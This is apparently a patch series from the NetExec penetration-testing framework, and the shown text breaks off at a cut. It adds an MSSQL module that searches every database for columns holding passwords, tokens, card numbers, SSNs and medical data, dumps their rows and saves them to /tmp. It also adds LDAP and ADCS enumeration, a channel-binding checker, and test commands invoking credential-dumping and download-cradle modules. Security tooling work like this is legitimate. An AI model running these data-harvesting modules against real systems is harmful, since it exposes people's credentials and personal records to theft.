From 3bb35503edcb8cdc999b6367454f44adb3a35dfb Mon Sep 17 00:00:00 2001 From: LTJAX Date: Mon, 19 May 2025 17:34:43 +0300 Subject: [PATCH 001/165] Add mssql_dumper module for sensitive data discovery --- nxc/modules/mssql_dumper.py | 285 ++++++++++++++++++++++++++++++++++++ 1 file changed, 285 insertions(+) create mode 100644 nxc/modules/mssql_dumper.py diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py new file mode 100644 index 0000000000..7340d69027 --- /dev/null +++ b/nxc/modules/mssql_dumper.py @@ -0,0 +1,285 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# MSSQL Dumper v1 - Created by LTJAX +import json +import os +import datetime +import re + +class NXCModule: + + name = 'mssql_dumper' + description = "Search for Sensitive Data across all the databases" + supported_protocols = ['mssql'] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + ''' + SEARCH Semicolon-separated regex(es) to search for in **Cell Values** + LIKE_SEARCH Comma-separated list of column names to specifically look for + SAVE Save the output to sqlite database (default True) + ''' + regex_input = module_options.get("REGEX", "") + self.regex_patterns = [] + for pattern in regex_input.split(';'): + pattern = pattern.strip() + if pattern: + try: + self.regex_patterns.append(re.compile(pattern)) + except re.error as e: + context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}") + like_input = module_options.get("LIKE_SEARCH", "") + self.like_search = [s.strip().lower() for s in like_input.split(',') if s.strip()] + self.save = module_options.get("SAVE", "true").lower() == "true" + pass + + def pii(self): + return [ + 'username', + 'user_name', + 'email', + 'first_name', + 'last_name', + 'full_name', + 'dob', + 'date_of_birth', + 'ssn', + 'social_security_number', + 'passport_number', + 'national_id', + 'phone', + 'phone_number', + 'phonenumber', + 'address', + 'city', + 'state', + 'zip', + 'zipcode', + 'password', + 'passwd', + 'passwd_hash', + 'password_hash', + 'password_salt', + 'token', + 'auth_token', + 'session_token', + 'session', + 'api_key', + 'mfa_secret', + 'security_question', + 'credit_card_number', + 'cc_number', + 'card_number', + 'cardholder_name', + 'cvv', + 'cvv2', + 'expiration_date', + 'expiry_date', + 'billing_address', + 'iban', + 'account_number', + 'routing_number', + 'payment_token', + 'medical_record', + 'patient_id', + 'diagnosis', + 'treatment', + 'insurance_number', + 'tax_id', + 'tin', + 'ein', + 'contract_number', + 'salary', + 'compensation', + 'middle_name', + 'nickname', + 'maiden_name', + 'gender', + 'birth_date', + 'ssn_hash', + 'nin', + 'drivers_license', + 'dl_number', + 'street', + 'house_number', + 'apartment', + 'region', + 'country', + 'location', + 'email_address', + 'alt_email', + 'mobile', + 'fax', + 'password_plaintext', + 'old_password', + 'user_pass', + 'user_password', + 'user_token', + 'refresh_token', + 'secret_key', + 'otp_secret', + 'security_pin', + 'security_answer', + 'security_code', + 'creditcard', + 'credit_card', + 'credit_card_hash', + 'credit_card_expiry', + 'cc_exp_month', + 'cc_exp_year', + 'card_exp', + 'debit_card', + 'ccv', + 'bic', + 'bank_account', + 'bank_name', + 'bank_code', + 'bank_id', + 'paypal_email', + 'invoice_id', + 'invoice_total', + 'order_id', + 'order_total', + 'order_amount', + 'payment_status', + 'employee_id', + 'position', + 'job_title', + 'employment_status', + 'income', + 'annual_salary', + 'legal_name', + 'legal_entity', + 'blood_type', + 'allergies', + 'prescriptions', + 'health_id', + 'insurance_id', + 'medication', + 'emergency_contact', + 'pin', + 'pin_code', + 'user_secret', + 'login_token', + 'reset_token', + 'recovery_key', + 'temp_password', + 'user_credential', + 'auth_code', + 'sessionid', + 'access_token' +] + + + def on_login(self, context, connection): + try: + all_results = [] + hostname = connection.hostname or connection.host + databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases") + for db in databases: + db_name = db.get('name') or db.get('', '') + if db_name.lower() in ('master', 'model', 'msdb', 'tempdb'): + continue # skip system DBs + + context.log.display(f"Searching database: {db_name}") + connection.conn.sql_query(f"USE [{db_name}]") + + # get all user tables in this DB + tables = connection.conn.sql_query( + "SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'" + ) + + for table in tables: + table_name = table.get('table_name') or table.get('', '') + try: + columns = connection.conn.sql_query( + f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'" + ) + column_names = [c.get('column_name') or c.get('', '') for c in columns] + + # find matching columns + search_keys = self.pii() + self.like_search + matched = [col for col in column_names if any(key in col.lower() for key in search_keys)] + if matched: + column_str = ', '.join(f'[{c}]' for c in matched) + context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") + + try: + data = connection.conn.sql_query( + f"SELECT {column_str} FROM [{table_name}]" + ) + for row in data: + formatted = [] + for k, v in row.items(): + if isinstance(v, bytes): + try: + v = v.decode('utf-8', errors='replace') + except: + v = str(v) + else: + v = str(v) + formatted.append(f"{k}: {v}") + context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(formatted)) + all_results.append({ + "database": db_name, + "table": table_name, + "row": {k: v for k, v in row.items()} + }) + except Exception as e: + context.log.fail(f"Failed to extract from {db_name}.{table_name}: {e}") + + except Exception as e: + context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}") + if self.regex_patterns: + try: + full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]") + for row in full_data: + matched_cells = {} + for col, val in row.items(): + try: + val_str = val.decode('utf-8', 'replace') if isinstance(val, bytes) else str(val) + except: + val_str = str(val) + for pattern in self.regex_patterns: + if pattern.search(val_str): + matched_cells[col] = val_str + break + if matched_cells: + match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items()) + context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}") + all_results.append({ + "type": "regex_match", + "database": db_name, + "table": table_name, + "matched_cells": matched_cells + }) + except Exception as e: + context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") + + + except Exception as e: + context.log.fail(f"Query failed: {e}") + if self.save and all_results: + timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + filename = f"/tmp/{timestamp}-{hostname}.json" + try: + def sanitize(obj): + if isinstance(obj, dict): + return {k: sanitize(v) for k, v in obj.items()} + elif isinstance(obj, list): + return [sanitize(i) for i in obj] + elif isinstance(obj, bytes): + return obj.decode('utf-8', 'replace') + else: + return obj + cleaned = sanitize(all_results) + with open(filename, 'w') as f: + json.dump(cleaned, f, indent=2) + context.log.success(f"Data saved to {filename}") + except Exception as e: + context.log.fail(f"Failed to save results to file: {e}") + + + + From b2827adc71c496bd302017613809d0cda8b06c71 Mon Sep 17 00:00:00 2001 From: Wyndoo Date: Tue, 16 Dec 2025 19:21:34 +0100 Subject: [PATCH 002/165] Updating e2e_commands.txt Signed-off-by: Wyndoo --- tests/e2e_commands.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index f334b8c820..e02bd0a6eb 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -230,6 +230,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-de netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig @@ -316,4 +317,4 @@ netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE netexec nfs TARGET_HOST -u "" -p "" --shares netexec nfs TARGET_HOST -u "" -p "" --enum-shares netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt -netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test \ No newline at end of file +netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test From beedfe0a97e85faf340b4eb865cd66015da3760b Mon Sep 17 00:00:00 2001 From: Wyndoo Date: Tue, 16 Dec 2025 20:19:43 +0100 Subject: [PATCH 003/165] Create get-scriptpath.py Signed-off-by: Wyndoo --- nxc/modules/get-scriptpath.py | 77 +++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 nxc/modules/get-scriptpath.py diff --git a/nxc/modules/get-scriptpath.py b/nxc/modules/get-scriptpath.py new file mode 100644 index 0000000000..d446ae1c7a --- /dev/null +++ b/nxc/modules/get-scriptpath.py @@ -0,0 +1,77 @@ +import json +from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes + + +class NXCModule: + """ + Get the scriptPath attribute of users + + Module by @wyndoo + """ + name = "get-scriptpath" + description = "Get the scriptPath attribute of all users." + supported_protocols = ["ldap"] + category = CATEGORY.ENUMERATION + + + def options(self, context, module_options): + """ + FILTER Apply the FILTER (grep-like) (default: '') + OUTPUTFILE Path to a file to save the results (default: None) + """ + self.FILTER = "" + self.OUTPUTFILE = None + + if "FILTER" in module_options: + self.FILTER = module_options["FILTER"] + + if "OUTPUTFILE" in module_options: + self.OUTPUTFILE = module_options["OUTPUTFILE"] + + def on_login(self, context, connection): + # Building the search filter + resp = connection.search( + searchFilter="(scriptPath=*)", + attributes=["sAMAccountName", "scriptPath"] + ) + + context.log.debug(f"Total of records returned {len(resp)}") + resp_parsed = parse_result_attributes(resp) + answers = [[x["sAMAccountName"], x["scriptPath"]] for x in resp_parsed] + + answers = self.filter_answer(context, answers) + + if answers: + context.log.success("Found the following attributes: ") + for answer in answers: + context.log.highlight(f"User: {answer[0]:<20} ScriptPath: {answer[1]}") + + # Save the results to a file + if self.OUTPUTFILE: + self.save_to_file(context, answers) + else: + context.log.warning("No results found after filtering.") + + def filter_answer(self, context, answers): + # No filter + if not self.FILTER: + context.log.debug("No filter option enabled") + return answers + # Filter + context.log.debug(f"Filter info field with: {self.FILTER}") + return [answer for answer in answers if self.FILTER in answer[0]] + + def save_to_file(self, context, answers): + """Save the results to a JSON file.""" + try: + # Format answers as a list of dictionaries for JSON output + json_data = [{"sAMAccountName": answer[0], "scriptPath": answer[1]} for answer in answers] + + # Save the JSON data to the specified file + with open(self.OUTPUTFILE, "w") as f: + json.dump(json_data, f, indent=4) + context.log.success(f"Results successfully saved to {self.OUTPUTFILE}") + + except Exception as e: + context.log.error(f"Failed to save results to file: {e}") From 44ddcdc551db515802ff8cd12b61f3ca3fc9367a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 24 Dec 2025 11:11:24 +0100 Subject: [PATCH 004/165] Add mssql_cbt checker module --- nxc/modules/mssql_cbt.py | 98 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 nxc/modules/mssql_cbt.py diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py new file mode 100644 index 0000000000..b42b4bad03 --- /dev/null +++ b/nxc/modules/mssql_cbt.py @@ -0,0 +1,98 @@ +import os +from impacket import tds +from nxc.helpers.misc import CATEGORY +from impacket.krb5.ccache import CCache + + +class NXCModule: + name = "mssql_cbt" + description = "Checks whether Channel Binding is enabled on the MSSQL database" + supported_protocols = ["mssql"] + category = CATEGORY.ENUMERATION + + def options(self, context, module_options): + self.logger = context.log + + def _check(self, connect_func): + return connect_func(cbt_fake_value=b"") + + def on_login(self, context, connection): + if not connection.encryption: + self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED") + return + + if connection.args.local_auth: + self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration") + return + + # Force authentication to fail if CBT is required + connection.tls_unique = b"" + + domain = connection.targetDomain + host = connection.host + remoteName = connection.conn.remoteName + port = connection.port + timeout = connection.args.mssql_timeout + username = connection.username + password = connection.password + nthash = connection.nthash + kerberos = connection.kerberos + use_cache = connection.use_kcache + aes_key = connection.aesKey + kdc_host = connection.kdcHost + local_auth = connection.args.local_auth + + new_conn = tds.MSSQL(host, port, remoteName) + new_conn.connect(timeout) + + def ok_or_fail(res): + if res: + self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED") + else: + self.logger.highlight("Connection failed: Channel Binding Token REQUIRED") + + # Password auth (NTLM or Kerberos) + if username and password and not kerberos: + self.logger.debug("User/password (NTLM)") + ok_or_fail(self._check(lambda **k: new_conn.login( + None, username, password, domain, None, not local_auth, **k + ))) + + if username and password and kerberos: + self.logger.debug("User/password (Kerberos)") + ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( + None, username, password, domain, None, "", kdc_host, None, None, False, **k + ))) + + # NT hash auth + if username and nthash and not kerberos: + self.logger.debug("NT hash (NTLM)") + ntlm_hash = f":{nthash}" + ok_or_fail(self._check(lambda **k: new_conn.login( + None, username, None, domain, ntlm_hash, not local_auth, **k + ))) + + if username and nthash and kerberos: + self.logger.debug("NT hash (Kerberos RC4)") + ntlm_hash = f":{nthash}" + ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( + None, username, None, domain, ntlm_hash, "", kdc_host, None, None, False, **k + ))) + + # AES key auth + if username and aes_key: + self.logger.debug("AES key (Kerberos)") + ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( + None, username, None, domain, None, aes_key, kdc_host, None, None, False, **k + ))) + + # Kerberos cache auth + if use_cache and kerberos and not any([nthash, password, aes_key]): + ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) + username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0] + self.logger.debug("Kerberos cache") + ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( + None, username, None, domain, None, None, kdc_host, None, None, True, **k + ))) + + new_conn.disconnect() From 21c0af3f9570d08f6f9abd69d1a3d9edd193bbf7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 24 Dec 2025 11:15:22 +0100 Subject: [PATCH 005/165] Update e2e --- tests/e2e_commands.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 05f3454f6b..59a7be9901 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -284,6 +284,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_cbt ##### RDP netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS @@ -317,4 +318,4 @@ netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE netexec nfs TARGET_HOST -u "" -p "" --shares netexec nfs TARGET_HOST -u "" -p "" --enum-shares netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt -netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test \ No newline at end of file +netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test From 5761da9332c7b0d281da264bf4b6432d7bb555ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 24 Dec 2025 13:26:48 +0100 Subject: [PATCH 006/165] Simplified logic --- nxc/modules/mssql_cbt.py | 90 +++++++++++++--------------------------- 1 file changed, 29 insertions(+), 61 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index b42b4bad03..98afb23739 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -1,9 +1,8 @@ -import os from impacket import tds from nxc.helpers.misc import CATEGORY -from impacket.krb5.ccache import CCache +# Module writtent by @Defte_ class NXCModule: name = "mssql_cbt" description = "Checks whether Channel Binding is enabled on the MSSQL database" @@ -13,10 +12,8 @@ class NXCModule: def options(self, context, module_options): self.logger = context.log - def _check(self, connect_func): - return connect_func(cbt_fake_value=b"") - def on_login(self, context, connection): + if not connection.encryption: self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED") return @@ -25,12 +22,9 @@ def on_login(self, context, connection): self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration") return - # Force authentication to fail if CBT is required - connection.tls_unique = b"" - domain = connection.targetDomain host = connection.host - remoteName = connection.conn.remoteName + remote_name = connection.conn.remoteName port = connection.port timeout = connection.args.mssql_timeout username = connection.username @@ -42,57 +36,31 @@ def on_login(self, context, connection): kdc_host = connection.kdcHost local_auth = connection.args.local_auth - new_conn = tds.MSSQL(host, port, remoteName) - new_conn.connect(timeout) - - def ok_or_fail(res): - if res: - self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED") - else: - self.logger.highlight("Connection failed: Channel Binding Token REQUIRED") - - # Password auth (NTLM or Kerberos) - if username and password and not kerberos: - self.logger.debug("User/password (NTLM)") - ok_or_fail(self._check(lambda **k: new_conn.login( - None, username, password, domain, None, not local_auth, **k - ))) + ntlm_hash = f":{nthash}" if nthash else None - if username and password and kerberos: - self.logger.debug("User/password (Kerberos)") - ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( - None, username, password, domain, None, "", kdc_host, None, None, False, **k - ))) - - # NT hash auth - if username and nthash and not kerberos: - self.logger.debug("NT hash (NTLM)") - ntlm_hash = f":{nthash}" - ok_or_fail(self._check(lambda **k: new_conn.login( - None, username, None, domain, ntlm_hash, not local_auth, **k - ))) - - if username and nthash and kerberos: - self.logger.debug("NT hash (Kerberos RC4)") - ntlm_hash = f":{nthash}" - ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( - None, username, None, domain, ntlm_hash, "", kdc_host, None, None, False, **k - ))) - - # AES key auth - if username and aes_key: - self.logger.debug("AES key (Kerberos)") - ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( - None, username, None, domain, None, aes_key, kdc_host, None, None, False, **k - ))) - - # Kerberos cache auth - if use_cache and kerberos and not any([nthash, password, aes_key]): - ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) - username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0] - self.logger.debug("Kerberos cache") - ok_or_fail(self._check(lambda **k: new_conn.kerberosLogin( - None, username, None, domain, None, None, kdc_host, None, None, True, **k - ))) + new_conn = tds.MSSQL(host, port, remote_name) + new_conn.connect(timeout) - new_conn.disconnect() + def log_result(success): + self.logger.highlight( + "Connection successful: Channel Binding Token NOT REQUIRED" + if success else + "Connection failed: Channel Binding Token REQUIRED" + ) + + if kerberos: + success = new_conn.kerberosLogin( + None, username, password, domain, + ntlm_hash, aes_key, kdc_host, + None, None, use_cache, + cbt_fake_value=b"" + ) + else: + success = new_conn.login( + None, username, password, domain, + ntlm_hash, not local_auth, + cbt_fake_value=b"" + ) + + log_result(success) + new_conn.disconnect() \ No newline at end of file From d9610f1247e39d57c7f4dab66291d0236d5536b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 24 Dec 2025 13:37:03 +0100 Subject: [PATCH 007/165] Simplified again --- nxc/modules/mssql_cbt.py | 32 +++++++++----------------------- 1 file changed, 9 insertions(+), 23 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index 98afb23739..5f12d7104e 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -22,24 +22,10 @@ def on_login(self, context, connection): self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration") return - domain = connection.targetDomain - host = connection.host - remote_name = connection.conn.remoteName - port = connection.port - timeout = connection.args.mssql_timeout - username = connection.username - password = connection.password - nthash = connection.nthash - kerberos = connection.kerberos - use_cache = connection.use_kcache - aes_key = connection.aesKey - kdc_host = connection.kdcHost - local_auth = connection.args.local_auth + ntlm_hash = f":{connection.nthash}" if connection.nthash else None - ntlm_hash = f":{nthash}" if nthash else None - - new_conn = tds.MSSQL(host, port, remote_name) - new_conn.connect(timeout) + new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName) + new_conn.connect(connection.args.mssql_timeout) def log_result(success): self.logger.highlight( @@ -48,17 +34,17 @@ def log_result(success): "Connection failed: Channel Binding Token REQUIRED" ) - if kerberos: + if connection.kerberos: success = new_conn.kerberosLogin( - None, username, password, domain, - ntlm_hash, aes_key, kdc_host, - None, None, use_cache, + None, connection.username, connection.password, connection.targetDomain, + ntlm_hash, connection.aesKey, connection.kdcHost, + None, None, connection.use_kcache, cbt_fake_value=b"" ) else: success = new_conn.login( - None, username, password, domain, - ntlm_hash, not local_auth, + None, connection.username, connection.password, connection.targetDomain, + ntlm_hash, not connection.args.local_auth, cbt_fake_value=b"" ) From 9f27582b421e5ef4c8fbcebd005cfee77e7405fb Mon Sep 17 00:00:00 2001 From: 0x0Trace <0x0Trace@users.noreply.github.com> Date: Wed, 31 Dec 2025 03:45:49 -0500 Subject: [PATCH 008/165] feat(ldap): add ADCS collection support via CertiHound Add Active Directory Certificate Services (ADCS) enumeration to the BloodHound collection workflow using CertiHound library. Changes: - Add 'adcs' to valid collection methods in resolve_collection_methods() - Add CertiHound as optional dependency (pip install netexec[adcs]) - Implement _collect_adcs_for_bloodhound() for ADCS data collection - Update bloodhound() to handle ADCS-only and combined collections - Export ADCS data in BloodHound CE v6 format --- nxc/protocols/ldap.py | 249 +++++++++++++++++++++---------- nxc/protocols/ldap/proto_args.py | 2 +- pyproject.toml | 3 + 3 files changed, 175 insertions(+), 79 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9201a6cbc9..073b52210e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -82,6 +82,7 @@ def resolve_collection_methods(methods): "psremote", "dconly", "container", + "adcs", ] default_methods = ["group", "localadmin", "session", "trusts"] # Similar to SharpHound, All is not really all, it excludes loggedon @@ -96,6 +97,7 @@ def resolve_collection_methods(methods): "rdp", "psremote", "container", + "adcs", ] # DC only, does not collect to computers dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] @@ -1607,93 +1609,101 @@ def ldap_to_filetime(ldap_time): break # Only process first policy result def bloodhound(self): - # Check which version is desired - use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) - package_name, version, is_ce = get_bloodhound_info() - - if use_bhce and not is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") - self.logger.fail("poetry add bloodhound-ce") - self.logger.fail("") - - # If using pipx - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound") - self.logger.fail("pipx inject netexec bloodhound-ce --force") - return - - elif not use_bhce and is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce") - self.logger.fail("poetry add bloodhound") - self.logger.fail("") - - # If using pipx - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") - self.logger.fail("pipx inject netexec bloodhound --force") - return - - auth = ADAuthentication( - username=self.username, - password=self.password, - domain=self.domain, - lm_hash=self.nthash, - nt_hash=self.nthash, - aeskey=self.aesKey, - kdc=self.kdcHost, - auth_method="auto", - ) - ad = AD( - auth=auth, - domain=self.domain, - nameserver=self.args.dns_server, - dns_tcp=self.args.dns_tcp, - dns_timeout=self.args.dns_timeout, - ) collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: return self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) - self.logger.debug("Using DNS to retrieve domain information") - try: - ad.dns_resolve(domain=self.domain) - except (resolver.LifetimeTimeout, resolver.NoNameservers): - self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") - return - - if self.args.kerberos: - self.logger.highlight("Using kerberos auth without ccache, getting TGT") - auth.get_tgt() - if self.args.use_kcache: - self.logger.highlight("Using kerberos auth from ccache") - auth.load_ccache() + # Separate ADCS from bloodhound-python methods + bh_collect = {m for m in collect if m != "adcs"} + need_bloodhound_python = len(bh_collect) > 0 timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" - bloodhound = BloodHound(ad, self.hostname, self.host, self.port) - bloodhound.connect() + adcs_files = [] + + # Run bloodhound-python collection if needed + if need_bloodhound_python: + use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + package_name, version, is_ce = get_bloodhound_info() + + if use_bhce and not is_ce: + self.logger.fail("Configuration Issue Detected") + self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") + self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("") + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + self.logger.fail("pipx inject netexec bloodhound-ce --force") + return - try: - bloodhound.run( - collect=collect, - num_workers=10, - disable_pooling=False, - timestamp=timestamp, - fileNamePrefix=self.output_filename.split("/")[-1], - computerfile=None, - cachefile=None, - exclude_dcs=False, + elif not use_bhce and is_ce: + self.logger.fail("Configuration Issue Detected") + self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry add bloodhound") + self.logger.fail("") + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + self.logger.fail("pipx inject netexec bloodhound --force") + return + + auth = ADAuthentication( + username=self.username, + password=self.password, + domain=self.domain, + lm_hash=self.nthash, + nt_hash=self.nthash, + aeskey=self.aesKey, + kdc=self.kdcHost, + auth_method="auto", ) - except Exception as e: - self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") - self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) - return + ad = AD( + auth=auth, + domain=self.domain, + nameserver=self.args.dns_server, + dns_tcp=self.args.dns_tcp, + dns_timeout=self.args.dns_timeout, + ) + + self.logger.debug("Using DNS to retrieve domain information") + try: + ad.dns_resolve(domain=self.domain) + except (resolver.LifetimeTimeout, resolver.NoNameservers): + self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") + return + + if self.args.kerberos: + self.logger.highlight("Using kerberos auth without ccache, getting TGT") + auth.get_tgt() + if self.args.use_kcache: + self.logger.highlight("Using kerberos auth from ccache") + auth.load_ccache() + + bloodhound = BloodHound(ad, self.hostname, self.host, self.port) + bloodhound.connect() + + try: + bloodhound.run( + collect=bh_collect, + num_workers=10, + disable_pooling=False, + timestamp=timestamp, + fileNamePrefix=self.output_filename.split("/")[-1], + computerfile=None, + cachefile=None, + exclude_dcs=False, + ) + except Exception as e: + self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") + self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) + return + + # Collect ADCS data using CertiHound if requested + if "adcs" in collect: + adcs_files = self._collect_adcs_for_bloodhound(timestamp) self.logger.highlight(f"Compressing output into {self.output_filename}_bloodhound.zip") list_of_files = os.listdir(os.getcwd()) @@ -1702,3 +1712,86 @@ def bloodhound(self): if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"): z.write(each_file) os.remove(each_file) + # Add ADCS files to the zip + for adcs_file in adcs_files: + if os.path.exists(adcs_file): + z.write(adcs_file, os.path.basename(adcs_file)) + os.remove(adcs_file) + + def _collect_adcs_for_bloodhound(self, timestamp): + """Collect ADCS data using CertiHound for BloodHound CE integration. + + Args: + timestamp: Timestamp prefix for output files. + + Returns: + List of file paths to include in the BloodHound zip. + """ + try: + from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter + except ImportError: + self.logger.fail("CertiHound not installed - skipping ADCS collection") + self.logger.fail("Install with: pip install netexec[adcs]") + return [] + + self.logger.highlight("Collecting ADCS data (CertiHound)...") + + try: + # Get domain SID if not already set + if not self.sid_domain: + search_filter = "(objectClass=domain)" + attributes = ["objectSid"] + resp = self.search(search_filter, attributes, sizeLimit=1, baseDN=self.baseDN) + if resp: + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry): + for attr in item["attributes"]: + if str(attr["type"]) == "objectSid": + from impacket.ldap.ldaptypes import LDAP_SID + sid = LDAP_SID(bytes(attr["vals"][0])) + self.sid_domain = sid.formatCanonical() + break 